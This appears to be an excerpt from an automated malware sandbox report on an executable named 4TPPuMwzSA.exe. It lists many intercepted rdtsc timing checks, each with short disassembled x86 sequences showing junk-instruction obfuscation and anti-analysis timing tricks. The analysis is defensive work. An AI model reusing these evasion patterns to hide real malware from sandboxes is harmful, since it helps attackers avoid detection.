Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEEB3 second address: EEEECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 je 00007FF8BCD7C848h 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FF8BCD7C836h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEECA second address: EEEEF7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF8BD1A4C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b or cl, 00000078h 0x0000000e lea ebx, dword ptr [ebp+1244A822h] 0x00000014 mov edx, dword ptr [ebp+122D2C6Bh] 0x0000001a xchg eax, ebx 0x0000001b jmp 00007FF8BD1A4C7Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EEEEF7 second address: EEEEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0EACC second address: F0EAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8BD1A4C84h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0EAEC second address: F0EAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FF8BCD7C836h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0EAFA second address: F0EB02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0F1C7 second address: F0F1E7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF8BCD7C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF8BCD7C846h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0F5EA second address: F0F611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FF8BD1A4C7Ah 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8BD1A4C7Ch 0x00000015 jc 00007FF8BD1A4C76h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0F611 second address: F0F646 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF8BCD7C836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF8BCD7C849h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8BCD7C83Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0F646 second address: F0F65C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C80h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0F786 second address: F0F78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: ED6974 second address: ED697B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: ED697B second address: ED6981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0FF59 second address: F0FF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF8BD1A4C76h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FF8BD1A4C76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0FF70 second address: F0FF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F0FF74 second address: F0FF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F105DD second address: F105E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F105E1 second address: F105F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007FF8BD1A4C76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F13410 second address: F1341C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F13AF7 second address: F13AFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EDD425 second address: EDD42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EDD42B second address: EDD42F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EDD42F second address: EDD433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1AFB4 second address: F1AFC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007FF8BD1A4C76h 0x0000000c jc 00007FF8BD1A4C76h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1AFC7 second address: F1B011 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8BCD7C854h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF8BCD7C83Ch 0x00000010 jns 00007FF8BCD7C836h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d js 00007FF8BCD7C836h 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1B011 second address: F1B017 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1B017 second address: F1B021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1B021 second address: F1B027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1B027 second address: F1B02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1B02D second address: F1B03C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C7Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: EE0977 second address: EE098F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C843h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A388 second address: F1A39D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A511 second address: F1A517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A517 second address: F1A531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jns 00007FF8BD1A4C7Ch 0x0000000b pushad 0x0000000c jnl 00007FF8BD1A4C76h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A531 second address: F1A537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A808 second address: F1A80E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A80E second address: F1A813 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A813 second address: F1A819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1A819 second address: F1A821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1AB17 second address: F1AB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FF8BD1A4C80h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1AE50 second address: F1AE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jnp 00007FF8BCD7C836h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1AE5F second address: F1AE64 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1AE64 second address: F1AE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007FF8BCD7C846h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1DA61 second address: F1DA67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1DA67 second address: F1DA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1DA6D second address: F1DA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1E72A second address: F1E72E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1E7DE second address: F1E7F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C82h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1EB52 second address: F1EB56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1FA96 second address: F1FA9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F1F915 second address: F1F91B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F20AA4 second address: F20B17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BD1A4C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FF8BD1A4C7Ch 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FF8BD1A4C81h 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FF8BD1A4C78h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1CE8h] 0x00000037 push 00000000h 0x00000039 mov di, ax 0x0000003c push 00000000h 0x0000003e mov dword ptr [ebp+122D3A04h], ecx 0x00000044 mov dword ptr [ebp+122D286Fh], esi 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F20B17 second address: F20B21 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F20B21 second address: F20B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F21577 second address: F2157D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2157D second address: F21581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F21D73 second address: F21D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F21D78 second address: F21D7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2343F second address: F234D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF8BCD7C848h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007FF8BCD7C83Bh 0x00000013 add dword ptr [ebp+122D371Fh], esi 0x00000019 pop esi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FF8BCD7C838h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 movsx edi, si 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007FF8BCD7C838h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 0000001Dh 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FF8BCD7C844h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F21D7D second address: F21D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F234D5 second address: F234DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F23E5D second address: F23EE1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8BD1A4C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FF8BD1A4C78h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov edi, 033352FEh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FF8BD1A4C78h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 jl 00007FF8BD1A4C7Ch 0x0000004d add esi, dword ptr [ebp+122D29D7h] 0x00000053 push 00000000h 0x00000055 mov dword ptr [ebp+122D19EBh], edi 0x0000005b xchg eax, ebx 0x0000005c pushad 0x0000005d jmp 00007FF8BD1A4C80h 0x00000062 pushad 0x00000063 jmp 00007FF8BD1A4C7Bh 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F269E0 second address: F269EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF8BCD7C836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F269EB second address: F26A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C82h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F26A01 second address: F26A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c je 00007FF8BCD7C836h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F26A16 second address: F26A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F26BE2 second address: F26BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F28A24 second address: F28AA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edi 0x00000009 jno 00007FF8BD1A4C7Ch 0x0000000f pop edi 0x00000010 nop 0x00000011 mov edi, dword ptr [ebp+122D2A9Fh] 0x00000017 add dword ptr [ebp+122D26D7h], esi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007FF8BD1A4C78h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 mov ebx, dword ptr [ebp+122D28F3h] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007FF8BD1A4C78h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000016h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b mov bh, 35h 0x0000005d xchg eax, esi 0x0000005e jmp 00007FF8BD1A4C7Ch 0x00000063 push eax 0x00000064 push esi 0x00000065 jnp 00007FF8BD1A4C7Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F26BE6 second address: F26BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F26BEA second address: F26C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8BD1A4C83h 0x0000000b popad 0x0000000c nop 0x0000000d and edi, dword ptr [ebp+122D381Ch] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FF8BD1A4C78h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 sub di, 153Dh 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov eax, dword ptr [ebp+122D145Dh] 0x00000046 push 00000000h 0x00000048 push ecx 0x00000049 call 00007FF8BD1A4C78h 0x0000004e pop ecx 0x0000004f mov dword ptr [esp+04h], ecx 0x00000053 add dword ptr [esp+04h], 00000015h 0x0000005b inc ecx 0x0000005c push ecx 0x0000005d ret 0x0000005e pop ecx 0x0000005f ret 0x00000060 xor dword ptr [ebp+122D234Eh], edx 0x00000066 mov bl, B9h 0x00000068 push FFFFFFFFh 0x0000006a xor edi, 5EA7FC9Eh 0x00000070 movzx edi, bx 0x00000073 push eax 0x00000074 pushad 0x00000075 push eax 0x00000076 push edx 0x00000077 push edx 0x00000078 pop edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F28C81 second address: F28C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F29947 second address: F2994B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2994B second address: F29960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8BCD7C841h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F29960 second address: F29970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BD1A4C7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2AABF second address: F2AAC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F29B13 second address: F29B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2BB93 second address: F2BB98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2ACCE second address: F2ACD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2ACD4 second address: F2ACE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8BCD7C83Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	RDTSC instruction interceptor: First address: F2CA55 second address: F2CA73 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF8BD1A4C84h 0x0000000f rdtsc
